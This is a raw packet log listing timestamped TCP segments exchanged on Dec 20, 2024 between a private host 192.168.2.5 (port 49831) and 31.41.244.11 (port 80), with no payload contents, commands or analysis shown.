Dec 20, 2024 13:12:14.757900953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.757924080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.757977009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.758366108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.758420944 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.758435965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.758486032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.759231091 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.759295940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.759299994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.759357929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.760046005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.760102034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.760189056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.760251045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.761044979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.761060953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.761096954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.761130095 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.761878967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.761933088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.762114048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.762167931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.762485981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.762540102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.762629986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.762682915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.763350964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.763408899 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.763448000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.763498068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.764179945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.764256001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.764296055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.764345884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.765026093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.765085936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.765132904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.765185118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.765856981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.765909910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.766009092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.766061068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.766670942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.766729116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.767030001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.767087936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.767539024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.767591953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.767687082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.767739058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.768387079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.768440962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.768486023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.768541098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.769157887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.769205093 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.769346952 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.769416094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.770087004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.770149946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.770272017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.770328045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.770950079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.771003962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.771075010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.771128893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.771662951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.771716118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.771754026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.771806955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.772587061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.772640944 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.772687912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.772741079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.773350000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.773401976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.773410082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.773459911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.774173975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.774251938 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.774527073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.774594069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.775166988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.775219917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.775450945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.775502920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.775868893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.775930882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.776001930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.776053905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.776707888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.776762009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.776845932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.776899099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.777607918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.777661085 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.777714014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.777765036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.778361082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.778413057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.778588057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.778644085 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.779189110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.779242992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.779279947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.779340982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.780040979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.780095100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.780256987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.780312061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.780874014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.780927896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.780972958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.781042099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.781733990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.781790018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.781872988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.781920910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.782530069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.782582045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.782620907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.782674074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.783575058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.783629894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.783668995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.783723116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.784216881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.784312963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.784351110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.784404039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.785027027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.785082102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.785151958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.785206079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.785904884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.785969019 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.934712887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.934778929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.934849977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.934902906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.935206890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.935234070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.935262918 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.935287952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.936007023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.936062098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.936106920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.936157942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.936789036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.936840057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.936906099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.936961889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.937678099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.937741041 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.937803030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.937855005 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.938540936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.938596964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.938601971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.938647032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.939435959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.939493895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.939507961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.939560890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.940196037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.940247059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.940315962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.940368891 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.940982103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.941037893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.941081047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.941132069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.941816092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.941869974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.941875935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.941926003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.942656040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.942709923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.942737103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.942792892 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.943553925 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.943608046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.943644047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.943694115 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.944320917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.944374084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.944437981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.944489002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.945307016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.945363998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.945538998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.945580006 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.946553946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.946609020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.946641922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.946691036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.947204113 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.947257042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.947267056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.947315931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.947830915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.947885036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.947890997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.947943926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.948468924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.948523998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.948566914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.948612928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.949326992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.949382067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.949467897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.949526072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.950171947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.950227022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.950263977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.950315952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.951004982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.951060057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.951095104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.951144934 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.951884031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.951936960 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.952001095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.952050924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.952687979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.952739000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.952749014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.952800989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.953489065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.953536034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.953578949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.953629017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.954349995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.954408884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.954461098 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.954504967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.955236912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.955286026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.955343008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.955394983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.956058025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.956109047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.956146002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.956197977 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.956907034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.956959009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.957047939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.957103014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.958014011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.958067894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.958113909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.958169937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.958666086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.958714962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.958820105 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.958868027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.959378958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.959440947 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.959578037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.959628105 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.960191965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.960268021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.960405111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.960464001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.961050034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.961112976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.961149931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.961198092 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.961859941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.961910963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.961999893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.962050915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.962677002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.962728024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.962841034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.962902069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.963593960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.963645935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.963718891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.963768959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.964404106 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.964457035 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.964502096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.964550018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.965213060 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.965265036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.965354919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.965404034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.965415001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.966058016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.966114998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.966211081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.966272116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.966912985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.966968060 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.967012882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.967070103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.967784882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.967844963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.967890024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.967941999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.968667030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.968720913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.968801022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.968852043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.969353914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.969408035 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.969450951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.969508886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.970205069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.970285892 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.970330000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.970386028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.971072912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.971127987 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.971151114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.971201897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.972120047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.972168922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.972183943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.972235918 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.972805023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.972856045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.972868919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.972925901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.973548889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.973603010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.973613024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.973664045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.974400043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.974453926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.974492073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.974541903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.975229025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.975282907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.975414038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.975466013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.976063967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.976116896 CET	49831	80	192.168.2.5	31.41.244.11
